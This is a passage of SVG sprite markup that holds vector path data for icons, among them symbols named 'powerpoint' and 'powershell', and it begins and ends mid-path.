33.967c-.052-1.028-.078-2.056-.184-3.083-.184-1.397-.368-2.82-.684-4.19-.237-1.133-.63-2.214-1.026-3.294-.5-1.265-1-2.556-1.632-3.768-1.026-1.95-2.368-3.69-3.605-5.508-.818-1.16-1.87-2.108-2.66-3.294-.447-.685-1.105-1.264-1.763-1.79-1.053-.845-2.158-1.61-3.263-2.347a32.525 32.525 0 0 0-2.58-1.634c-.71-.397-1.473-.713-2.21-1.056-.842-.395-1.658-.87-2.605-1.054-.238-.05-.448-.13-.685-.21-.605-.21-1.184-.447-1.79-.632-.92-.29-1.815-.632-2.763-.87C50.342 1 49.394.843 48.446.71 47.394.555 46.316.5 45.262.397a26.83 26.83 0 0 0-2.026-.184C42.236.16 41.21.16 40.21.134c-.5-.027-1.026-.08-1.526-.053-.763.026-1.526.105-2.29.21-.736.08-1.473.21-2.183.317-.867.105-1.735.158-2.604.264-.816.106-1.658.264-2.473.396-.29.053-.58.158-.87.21-.63.132-1.288.185-1.92.396-1.13.344-2.263.74-3.368 1.16-1.027.422-2.027.87-3 1.397-1 .552-1.948 1.21-2.895 1.844a45.325 45.325 0 0 0-2.66 1.923c-.84.66-1.63 1.397-2.394 2.135-.42.42-.763.922-1.158 1.396-.657.765-1.315 1.502-1.947 2.293-.524.66-1 1.344-1.5 2.03-.893 1.21-1.656 2.502-2.366 3.794-.29.527-.553 1.054-.816 1.58-.395.79-.816 1.555-1.184 2.372-.264.554-.474 1.16-.632 1.766-.367 1.292-.736 2.61-1.078 3.9-.316 1.16-.395 2.372-.42 3.558-.027 1.054.078 2.082.183 3.136.027.264-.13.58.184.79-.105.29-.026.45.13.5-.182.29.08.476-.024.74-.027.052.08.157.13.236 0 .08-.025.185 0 .264.028.237.133.474.133.738 0 .184.157.395.21.58.026.078 0 .21-.053.263-.158.184-.132.342.105.448.133.342.08.5.054.66.052.236-.027.315 0 .368.21.422.29.896.315 1.37 0 .106.053.212.106.343.026 0 0 .5 0 .5.13-.078.237-.104.368-.157.08.342.158.66.263.95.132.21.132.314.08.34.105.474.157.922.34 1.37 0-.5-.05-1-.13-1.475.368.132.684.263.895.263.027-.08.053-.184.08-.237-.158-.157-.29-.394-.448-.552.053.21 0 .29 0 .37-.105-.054-.237-.107-.368-.16.105-.13.21-.263.368-.42 0-.238-.13-.45-.5-.423.158-.052.316-.13.5-.184.29-.157-.026-.447-.026-.816.026-.447-.237-.895-.316-1.37-.132-.737-.105-1.844-.184-2.582-.158-.132-.29.21-.316.237.08.632.158 1.264.21 1.897-.157-.527-.263-1.107-.394-1.74-.027.185-.053.264-.053.37-.13.13-.026.29.053.474-.184-.08-.395-.052-.395-.052v.738c-.262-.264-.34-.474-.473-.66-.052-.21-.08-.42-.13-.63.05-.133 0-.212 0-.29a15.968 15.968 0 0 1-.08-.634c.026-.026-.026-.42-.026-.42.21.025.343.05.474.05-.263-.34-.08-.552.027-.763.053-.106.237-.13.29-.238.21-.395.553-.71.553-1.212 0-.237.08-.5.105-.738.053-.448.105-.896.13-1.344.054-.58 0-1.16.133-1.713.212-.92.475-1.843.764-2.766.21-.66.448-1.29.71-1.95.395-1.028.764-2.056 1.264-3.03.71-1.424 1.526-2.794 2.316-4.19.5-.87 1.026-1.687 1.58-2.53.525-.817 1.05-1.66 1.657-2.425a21.452 21.452 0 0 1 2.79-2.978c1.053-.948 2.053-1.923 3.184-2.793a32.218 32.218 0 0 1 4.685-3.005c1.343-.71 2.737-1.266 4.132-1.793.895-.342 1.868-.5 2.79-.79 1.052-.343 2.105-.5 3.21-.527.71-.027 1.395-.106 2.105-.185.632-.05 1.263-.104 1.948-.183-.08.105-.106.158-.132.21-.288.422-.604.844-.894 1.265-.237.343-.5.712-.737 1.054-.422.555-.87 1.108-1.264 1.688-.605.87-1.158 1.766-1.79 2.635-.63.843-1.315 1.634-1.973 2.45-.868 1.134-1.684 2.293-2.552 3.426-.79 1.08-1.63 2.11-2.394 3.19-.684.947-1.29 1.95-1.948 2.923-.973 1.45-1.947 2.872-2.92 4.322a271.93 271.93 0 0 1-2.316 3.294c-.053.08-.132.104-.21.157-.21.342-.21.527-.29.685-.21.395-.42.79-.658 1.16-.132.21-.316.394-.474.605-.026-.316.42-.474.21-.87-.13.212-.263.396-.394.607l-.316.63c.105.08.29.133.105.29-.08.133-.158.29-.237.423a.954.954 0 0 0 .29-.264c0 .29-.158.526-.29.763-.105.21-.368.37-.552.527.026.027.21.106.237.132.237-.08.316-.21.343-.132.08-.105.158-.184.184-.263.104-.264.262-.474.525-.58.106-.053.184-.132.263-.21.79-.818 1.606-1.608 2.316-2.478 1.106-1.345 2.106-2.74 3.16-4.11.446-.58.973-1.16 1.446-1.714.078.606.026 1.185 0 1.74-.08.974-.132 1.95-.21 2.95-.027.395 0 .79-.027 1.186 0 .105-.08.184-.08.29 0 .263.08.553.08.817-.08.975-.186 1.923-.265 2.898-.027.21.078.422.13.607-.13 1.422.16 2.925-.078 4.427.184-.29.237-.474.237-.658.025-.158 0-.316 0-.5v-.264c.025-.475.13-.975.078-1.45-.053-.527-.053-1.027.053-1.528.053-.21-.026-.474.106-.738v.395c-.026 1.5.027 3.003-.183 4.505-.027.132.08.37-.21.343-.238.474.052.817-.21 1.08-.054.053.05.29.077.448-.106.317-.106.317.052.343.026.58.08 1.106.105 1.66.42-1 .21-2.03.396-3.058.026.422.053.844.026 1.29 0 .687-.026 1.345-.052 2.03 0 .132-.027.264-.053.396-.08.37-.105.738-.237 1.08-.105.264-.052.66-.052.975v1.003c.105.448-.027.685.052.948-.08.265-.105.344-.08.423l.08.395c.527-.053.29.343.5.553-.158.212-.105.29-.105.397 0 .237-.025.448-.052.685 0 .606-.026 1.212-.026 1.792 0 .08.026.157.026.236 0 .054-.026.74-.026.74.053.078 0 .157-.08.236-.025 0-.104-3.347-.104-3.347h-.395c-.052 1.58.08 3.003-.21 4.48-.316.025-.42.078-.764.078-.816 0-1.632 0-2.448.026-.974 0-1.92.026-2.895.026-.472 0-.972.054-1.446.054-.632 0-1.29-.08-1.92-.08-.975 0-1.922.08-2.896.106-.71.026-1.42.026-2.13.053-.475.025-.95.05-1.422.104-.21.026-.395.105-.658.184-.08 0-.263-.026-.42 0-.265.053-.5.21-.765.264-.395.08-.5.184-.448.58v.263c-.026.052.58-.08.58-.08-.054 0-.08.158-.16.29.212-.08.343-.132.475-.184.395.185.737.08 1.052.16 1.026.262 2.078.37 3.13.473.685.053 1.343.08 2.027.105.973.053 1.947.106 2.92.106.816 0 1.606-.08 2.42-.08 1.13 0 2.264.052 3.395.08.237 0 .5-.028.763-.028h1.92c1.712-.052 3.422-.08 5.133-.13.975-.028 1.975-.08 2.948-.107l3-.08c1.158-.026 2.316-.026 3.448-.05.868 0 1.71-.03 2.58-.055.972-.026 1.972-.105 2.946-.157.527-.027 1.054-.08 1.58-.132.632-.052 1.29-.13 1.92-.157.948-.054 1.922-.08 2.87-.133 1.184-.078 2.368-.183 3.578-.21 1.106-.052 2.237-.026 3.343-.052.974-.027 1.948-.08 2.948-.106l1.66-.08s1.104-.026 1.657-.08c.947-.052 1.894-.157 2.842-.183.604-.027 1.21 0 1.815-.027.973-.026 1.973-.08 2.947-.08.367 0 .762.054 1.236.08-.21.185-.342.29-.5.422.105.026.21.08.316.132a.71.71 0 0 1-.42.13c-.054.133-.107.186-.16.45h.474c-.184 0-.342.237-.526.395-.21-.054-.395 0-.5.29.184.104.158.183.132.29-.316.104-.553.21-.42.552-.107.052-.238.105-.37.184-.13.21-.368.263-.316.553.106.025.21.08.29.104-.132.053-.263.132-.395.184-.473.29-.262.422-.157.554-.08.053-.158.105-.237.132.052.237.13.29.157.29a9.3 9.3 0 0 0-.395.316c-.08.237-.185.342-.29.5s-.158.37-.29.527c-.552.607-.947 1.32-1.657 1.793-.264.185-.5.422-.737.66-.474.447-.895.948-1.395 1.37a29.595 29.595 0 0 1-2.052 1.554 151.56 151.56 0 0 1-2.604 1.792c-.474.315-1 .552-1.5.842s-.974.554-1.474.843c-.316.21-.606.5-.948.66-.868.37-1.79.685-2.684 1.028-.87.37-1.5.685-2.158.922-.605.21-1.237.37-1.868.5-.21.054-.448 0-.685.027-.448.08-.895.186-1.343.238-1.158.158-2.316.264-3.473.422-.685.08-1.343.21-2.027.29-.473.026-.973-.026-1.447-.026-.342 0-.71.08-1.053.027-.552-.08-1.105-.21-1.658-.316-.13-.026-.316-.08-.42-.026-.21.106-.396-.052-.607 0-.13.027-.262-.08-.394-.08-.106-.025-.238.028-.37 0-.29-.078-.552-.183-.87-.157-.313.026-.63-.132-.97-.21-.475-.106-.92-.21-1.396-.317a2.38 2.38 0 0 1-.525-.237c-.685 0-1.133-.026-1.554-.185-.368-.13-.71-.315-1.105-.262-.104.026-.183-.026-.29-.026-.08-.106-.157-.317-.235-.317-.526.027-.842-.42-1.29-.553-.236-.08-.42-.343-.657-.422-.58-.237-1.052-.737-1.71-.816-.21-.027-.42-.132-.658-.21.08.104.13.183.21.262-.763-.37-1.473-.79-2.184-1.186-.104-.026-.183-.13-.262-.184l-.71-.474c-.395.08-.553-.08-.66-.132-.71-.5-1.525-.817-2.21-1.37-.29-.238-.63-.396-.84-.686-.37-.448-.817-.764-1.317-1.027-.394-.21-.762-.448-1.13-.685-.185-.132-.37-.29-.37-.58 0-.185-.078-.37-.315-.264-.105-.158-.21-.342-.342-.395-.316-.13-.526-.37-.763-.58s-.42-.5-.71-.605c-.527-.21-.843-.658-1.158-1.027-.738-.87-1.396-1.82-2.08-2.74-.053-.08-.158-.133-.237-.212.105.29.237.527.368.79-.262-.105-.446-.29-.604-.474-.027.027 1.815 3.057 1.815 3.057.16.237.29.475.448.712a.813.813 0 0 1-.79-.422c-.236-.42-.5-.684-1.026-.63a4.588 4.588 0 0 1-.13-.58c-.107 0-.185 0-.37-.027.37.58.685 1.08 1.027 1.66-.133-.08-.21-.132-.265-.158.473.5.815 1.133 1.42 1.45.132.605.816.895.974 1.475-.13-.027-.238-.053-.37-.08-.21-.263-.447-.526-.683-.816.052.184.13.342.236.474.316.395.606.79.974 1.133.132.134.316.187.316.424.21.105.29.13.368.13.054.16-.025.397.29.344.21.395.42.395.71.264.343.343.528.37.764.16 0 .13.026.262.026.368.105-.053.08-.132.08-.264.13.105.21.158.262.21.263.37.5.712.868 1.002.5.422.948.87 1.42 1.265.922.765 1.95 1.398 2.975 1.977 1.264.712 2.475 1.476 3.764 2.16 1.552.818 3.21 1.372 4.92 1.767.632.132 1.237.263 1.87.42.55.16 1.104.397 1.657.528.842.185 1.71.343 2.552.5.183.027.37.054.58.08.235.053.524-.053.577.027.132.21.237.104.395.078.184-.053.395-.053.605-.053.737.026 1.447.184 2.184.132.16 0 .396-.133.528.13.236-.105.368-.105.473-.13.028.236 0 .236-.05.262-.054.026-.133.053-.238.132.947.184 1.842.21 2.63 0 1.37.105 2.554-.053 3.686-.448.105.132.184.316.342.053.052-.08.184-.107.29-.133.236-.053.526-.158.736-.08.238.08.317-.13.5-.13.317 0 .606-.027.896-.08.158-.026.316-.105.5-.158a1.285 1.285 0 0 0-.58-.133c.317-.158.606-.29.896-.42-.053.078-.106.183-.21.183h.367c-.08 0-.185.237-.316.395.946-.237 1.814-.448 2.657-.66-.29-.552.315-.367.526-.684-.263.08-.526.158-.79.21.895-.447 1.816-.842 2.71-1.237-.13.158-.29.237-.525.37.158.025.263.025.342.05.42.133.316-.262.447-.5.5 0 .71-.078.947-.158.263-.08.526-.158.79-.263.42-.184.815-.42 1.236-.63.08-.028.21 0 .316 0 .29-.186.394-.344.473-.318.37.053.63-.08.736-.42.184-.133.316-.238.447-.318.578-.316 1.13-.632 1.71-.948.21 0 .316 0 .368-.027.344-.16.66-.342.975-.527a2.258 2.258 0 0 1-.263-.13c.262-.054.34-.08.5-.133.63-.74 1.5-1.24 2.157-1.82.29-.026.29-.105.29-.157.104-.132.21-.29.34-.396.58-.527 1.21-.975 1.737-1.528a37.16 37.16 0 0 0 2.184-2.374c.63-.738 1.264-1.475 1.79-2.292.737-1.133 1.368-2.293 2.026-3.48.474-.842.895-1.685 1.37-2.528.05-.08.157-.185.236-.185.71-.08 1.422-.13 2.106-.21.158-.026.342-.13.5-.21-.08-.132-.132-.29-.21-.422-.106-.16-.264-.29-.37-.45-.104-.13-.183-.29-.262-.447-.08-.13-.158-.236-.237-.37a9.7 9.7 0 0 1-.45-.894c-.026-.08-.08-.21-.052-.29.474-1.027.658-2.134 1.105-3.162.447-1.054.58-2.24.79-3.373.184-1.08.29-2.16.42-3.24.08-.764.185-1.502.21-2.266.16-1.212.106-2.346.08-3.48-.026-1-.08-2.028-.13-3.03zM12.685 66.405c-.184-.21-.342-.448-.526-.658l.08-.08c.287.317.577.633.866.976-.158-.08-.342-.132-.42-.238zm.42.238c.08-.027.16-.027.238-.053.08.132.132.29.21.448-.368-.027-.552-.185-.447-.395zm27.37 10.883v-.08c.5-.052.973-.105 1.473-.157v.077c-.5.08-.973.13-1.473.158zm6.63-.685c-.367.08-.762.133-1.13.186-.132.026-.29.158-.342-.08-.053.027-.106.027-.158.054.13.394.447.078.71.236-.58.08-1.13.132-1.684.21v-.052c.16-.026.343-.053.5-.08v-.078a7.743 7.743 0 0 0-.79-.053c-.077 0-.183.106-.262.132-.105.026-.21.053-.342.053-.447.026-.894.026-1.316.052-.027 0-.08-.026-.106-.026v-.08c1.763-.236 3.5-.473 5.263-.71.027.052.027.105.053.157-.158 0-.263.055-.395.08zm.396-.262c.606-.08 1.16-.132 1.738-.21-1.21.342-1.605.394-1.737.21zM24.58 23.374c.84-1.16 1.71-2.32 2.552-3.505.263-.345.473-.714.736-1.056.08-.106.185-.158.316-.264l-.026-.05c.105-.133.21-.24.263-.344.134-.21.213-.448.318-.685a.385.385 0 0 1 .105-.103c.37.184.37-.21.5-.343.237-.264.474-.553.684-.817.158-.21.316-.395.448-.632.026-.08-.053-.21-.08-.317h-.078c.08-.052.158-.13.237-.184.026 0 .026 0 .052-.026.158-.238.316-.475.474-.686.315-.42.657-.842 1.025-1.21-.052.13-.105.263-.158.368.027 0 .027.027.053.027.316-.422.658-.817.974-1.24-.027-.025-.053-.052-.08-.052-.13.132-.236.264-.368.396-.026-.027-.052-.053-.08-.053.265-.343.528-.685.79-1.08.053.08.106.184.21.395.107-.263.212-.447.29-.632-.078.08-.183.158-.262.238l-.08-.08.474-.71c.5-.712 1-1.45 1.5-2.162.185-.263.42-.474.58-.738.5-1 1.29-1.792 1.894-2.714.132-.184.316-.342.474-.5.13-.16.237-.106.342.026.71.896 1.42 1.818 2.13 2.714.528.66 1.054 1.29 1.554 1.976.605.844 1.184 1.687 1.79 2.53.684.975 1.368 1.95 2.026 2.95 1 1.477 1.947 2.953 2.947 4.428.737 1.08 1.474 2.135 2.184 3.215h-1.344c-1.236-.025-2.5-.13-3.736-.078-1.684.08-3.394.264-5.078.396-2.132.185-4.29.21-6.42.21-.765 0-1.528.107-2.29.16-.922.052-1.817.105-2.738.13-1.08.054-2.13.08-3.21.107-.606.026-1.237 0-1.895 0zm30.183 12.12v.238c-.026 0-.052.027-.105.027-.105-.37-.21-.766-.342-1.135-.263-.765-.553-1.53-1.027-2.214-.528-.737-1-1.5-1.528-2.265-.13-.185-.316-.343-.474-.5-.553-.607-1.106-1.24-1.816-1.687a21.485 21.485 0 0 0-3.29-1.688 7.374 7.374 0 0 1-.92-.474h.63l4.5-.08c.974-.025 1.922-.025 2.895-.078.236 0 .368.08.5.29.236.395.473.79.736 1.186.027.052.08.13.08.21 0 .58 0 1.186.026 1.766.025.606.08 1.186.104 1.792 0 .606-.053 1.238-.026 1.87.027.897.053 1.82.053 2.74zM26.447 26.67c1.237-.053 2.42-.132 3.632-.185.945-.053 1.92-.08 2.866-.132.395-.025.764-.05 1.158 0-.42.212-.842.423-1.21.686-.474.316-.92.737-1.395 1.08-.475.342-.896.764-1.29 1.212-.5.605-1.053 1.132-1.58 1.712-.37.422-.79.817-1.105 1.265-.447.58-.842 1.21-1.263 1.87.132-2.504.29-4.98.184-7.51zm17.185 25.35c-.843.21-1.71.448-2.58.553-.736.106-1.5.08-2.263.08a25.42 25.42 0 0 1-2.028-.08c-.763-.078-1.526-.157-2.263-.5-.633-.29-1.29-.553-1.92-.87-.634-.316-1.265-.684-1.74-1.264-.34-.423-.815-.765-1.236-1.134.08.316.263.58.553.764-.132.158-.316.08-.58-.343-.078.053-.157.08-.21.106.08-.185.158-.37.237-.527-.105-.21-.237-.448-.342-.66-.21-.342-.42-.71-.605-1.053-.053-.08-.053-.158-.105-.237a5.893 5.893 0 0 1-.37-.475c-.21-.315-.394-.657-.657-.974 0 .08.027.158.027.264-.027 0-.053.026-.053.026l-.554-1.344c-.026 0-.026 0-.052.026l.473 1.74c-.026 0-.052.025-.08.025-.077-.104-.156-.21-.21-.34-.052-.212-.21-.212-.34-.133-.08.053-.133.237-.106.316.185.448.395.896.606 1.344.052.158.105.29.184.448.027.053.106.105.106.184.106.21.185.42.316.606.237.316.5.632.737.948.235.316.445.66.656.975.026.053.105.053.13.08.133.395.58.684.896.526.08.606.737.817 1 1.397a11.957 11.957 0 0 1-.763-.343c-.027.026-.027.052-.054.105.316.158.632.316.92.5.265.16.528.317.765.5.316.29.685.45 1.13.554a.282.282 0 0 0-.05-.107c.736.343 1.5.712 2.078 1-2.737.054-5.658.107-8.685.16 0-.5-.026-.975-.026-1.476 0-.21.052-.395.025-.606-.08-1.21-.08-2.424-.237-3.61-.157-1.264-.157-2.503-.13-3.77.025-.683-.027-1.394-.054-2.08 0-.922 0-1.82.028-2.74 0-.132.053-.237.106-.37h.08c.025.054 0 .133.05.16.08.08.212.21.265.184.157-.106.394-.21.447-.37.13-.315.184-.658.184-.974 0-.236.106-.394.21-.553.054-.08.08-.158.133-.263-.105-.08-.21-.132-.342-.237.106-.29.08-.633.475-.79.052-.027.052-.16.08-.238.025-.213.05-.45.078-.66.052.08.08.105.13.157a.42.42 0 0 1 .054-.08c0-.104-.026-.315 0-.315.316-.053.184-.395.342-.553.025-.028-.027-.107-.027-.16 0-.052 0-.13.026-.13.367-.08.315-.475.552-.66.08-.053.105-.13.21-.263.21.368-.158.553-.184.816.446-.263.578-.895.315-1.08.105-.08.21-.184.29-.29.29-.316.604-.606.868-.922.185-.236.29-.526.474-.763.106-.132.316-.237.474-.317.474-.262.92-.552 1.21-1 .053-.053.132-.105.21-.158.08-.053.238-.053.264-.132.027-.052-.052-.184-.105-.263.104-.053.21-.158.42-.264-.08.158-.105.264-.158.37l.13.13c.238-.184.606-.394.843-.552 0-.025-.132-.13-.132-.13-.157.08-.394.21-.63.316.05-.08.05-.132.08-.158.367-.237.735-.474 1.13-.66.92-.42 1.842-.842 2.763-1.237.158-.08.37-.026.553-.026.078 0 .13 0 .21-.026.42-.132.842-.264 1.263-.37.183-.052.393-.078.58-.078.787.025 1.577.025 2.366.078.342.026.658.105.974.21a9.88 9.88 0 0 1 1.184.5c.447.24.868.502 1.29.792.763.5 1.473 1.054 2.236 1.502.737.448 1.316 1.054 1.79 1.74.58.816 1.237 1.554 1.5 2.555l.394 1.74c.08.316.264.632.185 1-.133.66-.238 1.345-.343 2.004-.052.265-.105.53-.078.79.05.82-.265 1.53-.58 2.268-.106.237-.264.475-.395.738a.798.798 0 0 0 .21.106l.237-.474c.027 0 .027 0 .053.027-.132.368-.237.764-.37 1.133-.314.817-.63 1.66-1.025 2.45-.21.448-.58.817-.842 1.24-.262.368-.473.763-.736 1.106-.237.29-.473.58-.79.79-.71.527-1.447 1.054-2.21 1.476-.473.29-1.026.448-1.552.58zm-14.027-1.4l-.026.027c-.055-.026-.134-.052-.186-.105l-.632-.95c-.052-.078-.08-.157-.052-.262.29.448.58.87.895 1.29zm16.37 3.61c1.183-.5 2.157-1.21 3.05-2.028.133-.132.264-.263.422-.37 1.106-.684 1.92-1.633 2.658-2.687.842-1.212 1.395-2.582 2.08-3.873a2.73 2.73 0 0 1 .157-.29c-.053 3.004.29 5.955.684 8.933-2.973.105-6 .21-9.052.316zm26.683-.79c-.026.053-.08.106-.105.16-.027-.054-.027-.133-.053-.24-.158.423-.5.212-.737.212-1.42.027-2.868.027-4.29.027-1.368 0-2.762 0-4.13.024-.448 0-.922.105-1.37.132-1.078.052-2.157.08-3.236.105-.08 0-.158-.13-.29-.236a1.81 1.81 0 0 1-.158.237c-.028-.052-.08-.104-.133-.183-.026.08-.053.158-.08.21H58c-.053-.368-.158-.71-.158-1.08 0-.79.08-1.58.105-2.372.027-.368 0-.71 0-1.054.106.08.185.133.29.21.052-.103.105-.182.158-.26 0 0-.053-.028-.106-.08.05-.027.104-.08.104-.106.026-.08.08-.158.08-.21 0-.185-.054-.343-.08-.5.026 0 .052 0 .08-.028l.157.79h.08c-.106-.183.236-.342-.053-.552-.026-.027.026-.185.026-.264-.08-.157-.13-.315-.21-.526.026-.026.105-.053.184-.08-.105-.052-.184-.104-.263-.13.263-.238.263-.37.026-.633.054-.025.106-.025.106-.05 0-.238 0-.475-.052-.71-.053-.266.08-.58-.316-.74a.79.79 0 0 0 .105.21s-.08.027-.158.08c-.342-.317-.13-.74-.21-1.213.184.053.316.106.447.16-.053-.186-.184-.397-.263-.634h-.107v-1.74c0 .027.184.027.29.054 0-.027.025-.053.025-.08-.08-.105-.185-.21-.29-.342l.053-.053c-.21-.262-.105-.63-.105-.71V39.4c.264.264-.13.606.264.764v-.263h-.027c-.026-.395-.026-.79-.052-1.186h-.052c-.027.054-.027.08-.054.133h-.052l.158-6.298c.263.342.552.66.736 1 .606 1.108 1.395 2.057 2.132 3.058.632.87 1.21 1.818 1.79 2.714.71 1.08 1.394 2.16 2.105 3.24a81.41 81.41 0 0 0 1.63 2.426c.5.71 1.028 1.396 1.554 2.082.446.606.92 1.212 1.367 1.818.527.738 1.053 1.475 1.58 2.187.262.368.552.737.84 1.106.16.21.396.37.554.5-.025 0-.052 0-.104-.026.08.105.13.184.184.237.29.158.316.316.158.554zM74 46.854v-.185c0 .052.026.13 0 .184zm.895-11.62c-.027 0-.184-.16-.21-.186-.027.08 0 .158-.053.264-.027-.078-.21-.052-.21-.13-.027.368.157.737.13 1.106.08-.053.395-.08.474-.158.027.026.08.052.106.052-.527.396-.395.79-.158 1.24.052.104.21.315.052.526-.052.053.027.21.053.343h.077v.05l-.237.08c-.052-.08-.367-.236-.367-.37v1.346c.263.08.263.448.368.633a.768.768 0 0 0 .107-.21l.027.024c-.027.158-.053.316-.106.475-.052.236-.105.447-.13.684 0 .026.05.08.05.105-.288.66-.13 1.396-.235 2.08-.08.5 0 1.03-.053 1.556-.054.448-.16.922-.264 1.37-.027.08-.08.105-.21.158.052-.316.026-.527-.027-.817-.028 0-.37-.184-.397-.184 0 .37.21.87.29 1.29-.08-.026-.395-.21-.42-.21-.054.316-.054.738-.08 1.08-.027.264-.263.5-.29.79 0 .16.184.264.158.528h.21c0-.526.238-1 .238-1.554h.078c.027.053.106.106.08.132-.053.29-.16.606-.132.896 0 .158.13.316.08.5-.054.16-.08.317-.107.554-.027-.132-.053-.184-.053-.263-.026 0-.263-.027-.29-.027-.026.158.185.316.158.448-.026.026-.052.026-.105.053l-.868-1.266c-.686-1-1.37-2.003-2.054-3.03a6.312 6.312 0 0 1-.475-.79 37.09 37.09 0 0 0-2.71-4.033c-.762-.974-1.37-2.03-2.08-3.055-.656-.975-1.314-1.924-1.972-2.9-.237-.315-.526-.605-.737-.948-.683-1.08-1.29-2.187-1.972-3.267-.58-.897-1.21-1.767-1.816-2.636-.21-.29-.42-.607-.632-.923a.37.37 0 0 1-.052-.182c-.053-.58-.106-1.16-.132-1.713 0-.527.053-1.054.053-1.608v-.474c0-.132.025-.237.025-.37.025-.025.052-.078.078-.104-.763 0-1.553-.028-2.316 0-.5.025-.763-.186-1.105-.555-1-1.133-1.737-2.424-2.605-3.636a162.42 162.42 0 0 0-2.5-3.427c-.685-.922-1.37-1.818-2.053-2.74-.764-1.054-1.5-2.108-2.29-3.162a381.983 381.983 0 0 0-2.895-3.794c-.45-.58-.95-1.133-1.45-1.74.343.054.66.106.975.133l1.264.08c.947.077 1.894.13 2.84.26.79.107 1.58.265 2.396.396 1.738.29 3.448.765 5.106 1.318.974.316 1.92.738 2.87 1.133 2.13.87 4.157 1.924 6.157 3.03.63.343 1 .896 1.472 1.397.685.712 1.37 1.423 2.027 2.16.762.87 1.472 1.766 2.21 2.662.657.79 1.34 1.58 2 2.372.21.237.37.527.552.79.42.633.895 1.24 1.263 1.924.262.502.42 1.082.604 1.635.262.817.526 1.607.79 2.424.183.606.34 1.24.472 1.87.106.423.08.87.21 1.29.16.556 0 1.16.16 1.715.025.053.05.132.078.185.105.104.184.21.026.368-.025.026-.025.13 0 .21.054-.052.08-.105.133-.184 0 .053.025.08.025.105 0 .104-.027.21 0 .315 0 .052.052.13.078.184.053-.054.105-.08.21-.16.237.897.264 1.793.264 2.715 0 .87.157 1.74-.21 2.583.078-.29-.106-.555-.027-.818z"/><path d="M58.08 45.482c.025 0 .052.027.052.027l-.027-.03c0-.025 0-.025-.026 0zm4.157 26.036c-.29.21-.58.395-.948.474-.028-.026-.028-.053-.054-.08.29-.184.605-.368.895-.553.027.05.08.104.106.157zM12.895 35.81c.29-.367.58-.736.894-1.105.025.026.235.08.262.105-.29.37-.685.87-.974 1.265-.054-.053-.133-.237-.185-.264zM5.42 48.725c-.21-.448-.42-.923-.63-1.37a.91.91 0 0 1 .236-.106c.29.42.42.92.632 1.37 0 0-.21.105-.237.105zm6.712-12.65c-.158.238-.316.502-.474.74-.026-.028-.316.104-.342.078.158-.237.552-.66.71-.896.027.026.053.053.106.08zM59.422 72.6c.025 0 .025-.026.052-.026.184.026.394.052.605.052-.344.237-.555.21-.66-.026zm-47.24-35.418c.028-.08.08-.158.133-.237.052 0 .13-.027.13-.027.107-.184.107-.316.212-.474-.026-.026-.053-.026-.08-.053-.157.108-.315.24-.473.345.053.052.053.08.053.132-.21-.027-.29.08-.395.368-.026.08-.158.106-.29.21-.026.054-.052.186-.105.317l.027.028c-.053.053-.132.08-.132.08-.158.157-.342.29-.5.447-.026.08-.052.158-.052.237.185-.184.5-.527.737-.738l.027.027c.105-.158.184-.316.29-.474.025.026.025.052.052.08-.08.21-.158.446-.237.657-.055.026-.134.08-.134.053-.105.08-.184.184-.29.263l-.473.316c-.263.237-.526.447-.816.685-.184.29-.368.553-.58.896.317-.08.396.053.37.317.368.052.395-.237.5-.448.026-.054.053-.16.105-.186.237-.21.5-.394.763-.605.053-.053.053-.16.053-.238 0-.026-.133-.026-.212-.053.237-.264.58-.71.816-1 .132-.08.263-.186.263-.265-.026-.29.158-.368.37-.474-.106-.08-.133-.157-.133-.183z"/><path d="M12.71 36.892c-.105.184-.21.342-.315.527l-.158-.08c-.105.605-.474 1.132-.842 1.237.105.053.21.106.29.08.078-.027.13-.16.183-.238l.71-1.028.238-.396-.105-.105zM3.948 48.46c.132 0 .264.026.42.026 0-.105.133-.08.133-.184h.08c0 .132.026.237.026.37h-.552c-.027-.027-.132-.186-.106-.212zm-.21-1.212c-.08-.08-.21-.158-.21-.237-.027-.104.052-.235.13-.367.054.184.08.342.132.527-.027.025-.053.052-.053.078zm.658-1.687c.105.266.21.556.316.82a.798.798 0 0 0-.21.105c-.105-.264-.237-.554-.342-.817a.652.652 0 0 1 .237-.106zm58.58 25.194c.13-.052.288-.08.5-.13-.238.183-.422.315-.58.473-.027-.026-.053-.053-.08-.053.053-.105.106-.184.16-.29zM30.63 15.074c.157-.106.29-.185.447-.29l.052.052c-.16.21-.29.42-.475.685-.026-.183-.026-.29-.053-.42-.026 0 0 0 .027-.026zm7.71 13.333c.237-.106.474-.21.763-.343-.026.158-.026.264-.026.37a.927.927 0 0 0-.264-.054c-.158.027-.448.238-.58.264-.025 0 .106-.21.106-.237zm19.74 22.346c.052.263.552.395.052.658.08.055.157.08.236.134a.2.2 0 0 1-.052.106c-.053.025-.158.078-.21.05-.027 0-.08-.104-.08-.157 0-.237.027-.474.053-.79z"/></g></symbol><symbol viewBox="0 0 24 24" id="powerpoint" xmlns="http://www.w3.org/2000/svg"><path d="M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2m7 1.5V9h5.5L13 3.5M8 11v2h1v6H8v1h4v-1h-1v-2h2a3 3 0 0 0 3-3 3 3 0 0 0-3-3H8m5 2a1 1 0 0 1 1 1 1 1 0 0 1-1 1h-2v-2h2z" fill="#d14524"/></symbol><symbol viewBox="0 0 67.47 70" id="powershell" xmlns="http://www.w3.org/2000/svg"><path d="M18.545 12.4c-3.014 0-6.08 2.34-6.873 5.248L1.91 53.438c-.793 2.908.996 5.248 4.01 5.248h42.887c3.014 0 6.08-2.34 6.873-5.248l9.761-35.79c.794-2.908-.993-5.248-4.007-5.248h-42.89zm4.848 6.243c.652.04 1.29.33 1.76.86l7.96 9.013-3.957 3.246 3.957-3.244 4.832 5.47c.037.042.06.088.094.131.026.034.057.06.082.096.02.028.032.057.05.086.057.087.105.176.15.267.028.06.055.117.08.178a2.546 2.546 0 0 1 .171.764c.005.073.01.146.008.219-.002.09-.01.178-.021.267a2.53 2.53 0 0 1-.036.217 2.56 2.56 0 0 1-.07.252c-.024.076-.048.15-.08.224a2.547 2.547 0 0 1-.111.22 2.503 2.503 0 0 1-.133.218 2.546 2.546 0 0 1-.147.187c-.058.07-.118.137-.185.202-.027.026-.048.057-.076.082-.037.032-.077.054-.116.084-.038.03-.07.065-.11.093L16.8 52.271a2.552 2.552 0 0 1-3.563-.626 2.553 2.553 0 0 1 .63-3.563l18.349-12.853-3.06-3.467-7.839-8.873a2.549 2.549 0 0 1 .225-3.608 2.546 2.546 0 0 1 1.85-.638zm22.441 28.214c1.377 0 2.255 